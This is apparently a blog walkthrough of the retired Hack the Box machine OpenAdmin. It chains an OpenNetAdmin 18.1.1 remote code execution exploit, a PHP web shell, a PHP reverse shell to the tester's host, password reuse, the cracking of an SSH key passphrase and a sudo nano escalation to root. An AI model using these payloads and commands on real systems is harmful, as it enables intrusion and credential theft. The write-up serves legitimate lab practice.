Hack the Box | Openadmin | Machine

DezeStijn

2020-05-04T18:53:20+02:00

Contents

Note to fellow-HTBers: Only write-ups of retired HTB machines or challenges are allowed.

Machine info

OpenAdmin [by dmw0ng]
IP: 10.10.10.171
OS: Linux
Difficulty: Easy
Release: 4 Jan 2020
Retired: 4 May 2020

Recon

Nmap

As usual we kick off with a nmap scan of the box

```
$  nmap -v -A -sC -T4 -oA scanning/nmap_openadmin 10.10.10.171
Nmap scan report for 10.10.10.171
Host is up (0.033s latency).
Not shown: 974 closed ports
PORT   STATE  SERVICE    VERSION
22/tcp  open   ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|  2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|  256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp  open   http     Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
90/tcp  filtered dnsix
106/tcp  filtered pop3pw
407/tcp  filtered timbuktu
```

```
500/tcp  filtered isakmp
1041/tcp filtered danf-ak2
1063/tcp filtered kyoceranetdev
1163/tcp filtered sddp
1309/tcp filtered jtag-server
1311/tcp filtered rxmon
2001/tcp filtered dc
3493/tcp filtered nut
6001/tcp filtered X11:1
6059/tcp filtered X11:59
6100/tcp filtered synchronet-db
7676/tcp filtered imqbrokerd
7920/tcp filtered unknown
8000/tcp open   http     SimpleHTTPServer 0.6 (Python 3.6.8)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: SimpleHTTP/0.6 Python/3.6.8
|_http-title: Directory listing for /
8443/tcp filtered https-alt
8994/tcp filtered unknown
9101/tcp filtered jetdirect
9575/tcp filtered unknown
9943/tcp filtered unknown
40193/tcp filtered unknown
54328/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

I believe the SimpleHTTPServer on port 8000 is actually from another pentester who's exfiltrating some stuff.

Dirb

Let's run dirbuster on the website (port 80) to see if we can find any interesting folders or files.

```
$ dirb http://10.10.10.171:80/ /usr/share/dirb/wordlists/common.txt -o scanning/dirb_openadmin_p80.txt -l

-----------------
DIRB v2.22
By The Dark Raver
-----------------

OUTPUT_FILE: scanning/dirb_openadmin_p80.txt
START_TIME: Wed Feb 12 17:14:24 2020
URL_BASE: http://10.10.10.171:80/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Printing LOCATION header

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.10.171:80/ ----
==> DIRECTORY: http://10.10.10.171:80/artwork/
+ http://10.10.10.171:80/index.html (CODE:200|SIZE:10918)
==> DIRECTORY: http://10.10.10.171:80/music/
+ http://10.10.10.171:80/server-status (CODE:403|SIZE:277)
```

This gives us the `/artwork` and `/music` folders.

Looking at the different pages, we find a login button on the Solmusic website.

{{< figure src="/img/htb-openadmin-music.png" position="center" caption="Login button on Solmusic" captionPosition="center" >}}

This button leads us to a new website: `http://10.10.10.171/ona/`

ONA

ONA, which appears to stand for OpenNetAdmin, provides a database managed inventory of your IP network.

Browsing through tha application, we find that it's running v18.1.1, which is not the most recent version.

{{< figure src="/img/htb-openadmin-ona.png" position="center" caption="ONA v18.1.1" captionPosition="center" >}}

We also find a hostname, which we could add to our `/etc/hosts` file.

{{< figure src="/img/htb-openadmin-dns.png" position="center" caption="openadmin.htb" captionPosition="center" >}}

Foothold

Using `searchsploit` we find some potential exploits for OpenNetAdmin. One of the exploits promises RCE (Remote Code Execution) on OpenNetAdmin v18.1.1. **PERFECT!**

We download the exploit script and have a look at how it works.

```
$ mkdir exploits
$ cd exploits
$ searchsploit -m 47691
```

```
$ cat 47691.sh
# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux

# Exploit Title: OpenNetAdmin v18.1.1 RCE
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux

#!/bin/bash

URL="${1}"
while true;do
 echo -n "$ "; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEG
```

So we can manually test the exploit, testing the `whoami` command.

```
$ curl -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";who
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  3179  100  3049  100   130  26513   1130 --:--:-- --:--:-- --:--:-- 27643
www-data
```

Success!

Shell

So let's try and get a shell on the box.

For this, we create a PHP page that'll allow us to execute commands on the target box.

```
<html>
<head>
```

```
<title>Webshell</title>
</head>

<body bgcolor=#000000 text=#ffffff ">
<form method=POST>
<br>
<input type=TEXT name="-cmd" size=64 value="<?php echo $cmd ?>" style="background:#000000;color:#ffffff;">
<hr>
<pre>
<?php $cmd = $_REQUEST["-cmd"];?>
<?php if($cmd != "") print Shell_Exec($cmd);?>
</pre>
</form>
</body>
</html>
```

To quickly transfer the file to the target box, we can set up a webserver on our machine and download the file on the target.

```
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

$ curl -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";wge
```

Our shell is now available at `http://10.10.10.171/ona/FlatMarsSociet.php`

We can use is shell to run commands, but it's also more intuitive to run commands in a terminal instead of a web page.
So let's provide ourselves with a reverse shell.

```
# Attacker box
$ nc -lvp 1337

# Web shell
php -r '$sock=fsockopen("10.10.14.101",1337);exec("/bin/sh -i <&3 >&3 2>&3");'
```

And test using `whoami` again

```
$ nc -vlp 1337
listening on [any] 1337 ...
connect to [10.10.14.101] from openadmin.htb [10.10.10.171] 41104
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
```

User

Continue enumeration

To investigate the box further, we can use LinEnum to help us find interesting paths (for potential privesc).

```
$ wget http://10.10.14.101:8000/LinEnum.sh
$ chmod u+x LinEnum.sh
$ ./LinEnum.sh | tee LinEnum.log
```

Looking at the output, we only seem to find usernames.

```
[-] Users that have previously logged onto the system:
Username         Port     From             Latest
root             tty1                      Sat Jan  4 21:23:05 +0000 2020
jimmy            pts/1    10.10.15.71      Wed Feb 12 17:36:17 +0000 2020
joanna           pts/3    10.10.15.71      Wed Feb 12 17:40:59 +0000 2020
```

So let's look at some configuration files.
Since ONA uses a database, we might be able to find some db creds.

```
$ pwd
/opt/ona/www
```

```
$ cat local/config/database_settings.inc.php
<?php

$ona_contexts=array (
  'DEFAULT' =>
  array (
    'databases' =>
    array (
      0 =>
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);
```

Password reuse (Jimmy)

Since people tend to reuse passwords, let's try this password in combination with the username we found.

```
$ ssh jimmy@10.10.10.171
jimmy@10.10.10.171's password: # n1nj4W4rri0R!

Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
[...]
jimmy@openadmin:~$
```

We now have access to Johny's account.

Enum, enum, enum

With this new account, we'll enumerate some more.

We discover that there's an additional web server running.

```
jimmy@openadmin:~$ ls /var/www/
html  internal  ona
jimmy@openadmin:~$ ls /var/www/internal/
index.php  logout.php  main.ph
```

We have index.php

```
<?php
   ob_start();
   session_start();
?>
[...]
      <div class = "container form-signin">
        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
          <?php
            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
               }
            }
         ?>
      </div> <!-- /container -->

      <div class = "container">

         <form class = "form-signin" role = "form"
            action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
            ?>" method = "post">
            <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
            <input type = "text" class = "form-control"
               name = "username"
               required autofocus></br>
            <input type = "password" class = "form-control"
               name = "password" required>
            <button class = "btn btn-lg btn-primary btn-block" type = "submit"
               name = "login">Login</button>
         </form>

      </div>

   </body>
</html>
```

Here we find a the sha512 hash for Jimmy's password.

After a sucessful login, we go to main.php. Let's have a look at the source of that page.

```
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
```

Looks like this page print the private SSH key of Joanna. There's also a hint about a "ninja" password.

Notice that the code only checks whether the session has a username variable set.

Let's check the Apache config and see where the internal site is hosted.

```
jimmy@openadmin:~$ ls /etc/apache2/sites-enabled/
internal.conf  openadmin.conf
jimmy@openadmin:~$ cat /etc/apache2/sites-enabled/internal.conf

Listen 127.0.0.1:52846

<VirtualHost 127.0.0.1:52846>
    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

```

```
</VirtualHost>
```

The internal site is hosted on port 52846 on the localhost interface and has `internal.openadmin.htb` as hostname.
The mod_mpm_itk Apache module causes the Apache process to switch to the domain owner's user identifier (UID) and group identifier (GID) before it responds to the request. This allows each user to isolate their files from others with the standard file permission settings.
That's how the webpage is able to read Joanna's SSH privkey without having to grant read access to the www-data user.

Let's use cURL to load the main.php page.
Notice how I didn't have to enter a password. I'm not 100% certain that this isn't a fluke.

```
jimmy@openadmin:~$ curl http://127.0.0.1:52846/main.php
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
```

I suspect the 'correct' method would be to crack the hash, allowing us to login.
We can use the vast collection of rainbow/lookup tables of CrackStation to help us with that.

{{< figure src="/img/htb-openadmin-crack.png" position="center" caption="CrackStation 'cracked' the hash" captionPosition="center" >}}

We would then pass the password `Revealed` to the login page, which would result in a valid session and redirect us to main.php

```
$ curl -XPOST http://localhost:52846 -d "login&username=jimmy&password=Revealed" -L -v
```

Copy the SSH key to a local file on the attacker's box and try to SSH as Joanna.

```
$ chmod 600 ssh.key
$ ssh -i ssh.key joanna@10.10.10.171
Enter passphrase for key 'ssh.txt':
```

Let's try to crack the password.

```
$ /usr/share/john/ssh2john.py ssh.key > ssh.key.john

$ john --wordlist=/usr/share/wordlists/rockyou.txt ssh.key.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (ssh.txt)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:03 DONE (2020-02-13 22:46) 0.3115g/s 4467Kp/s 4467Kc/s 4467KC/sa6_123..*7¡Vamos!
Session completed
```

So the private key is protected with the password `bloodninjas` .

Joanna (Flag)

Logging in as Joanna, we find the user flag.

```
$ ssh -i ssh.key joanna@10.10.10.171
Enter passphrase for key 'ssh.txt': # bloodninjas
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
[...]

joanna@openadmin:~$ ls
user.txt
joanna@openadmin:~$ wc -m user.txt
33 user.txt
```

Privesc

Let's see if this user has any special privileges.

```
joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/sna

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv
```

Looks like Joanna can open `/opt/priv` in nano using sudo, which gives us admin rights.

GTFObins gives us the perfect resource to find paths for privilege escalation.
We learn that nano allows us to run commands, using Ctrl+R and Ctrl+X.

```
joanna@openadmin:~$ sudo /bin/nano /opt/priv
^R ^X
Command to execute: ls /root/
root.txt
^R ^X
Command to execute: cat /root/root.txt
2f[...]61
```

And there we have the root flag :)

This is definitely a box that shows that enumeration is important and that we might need to pivot a few times to get where we want.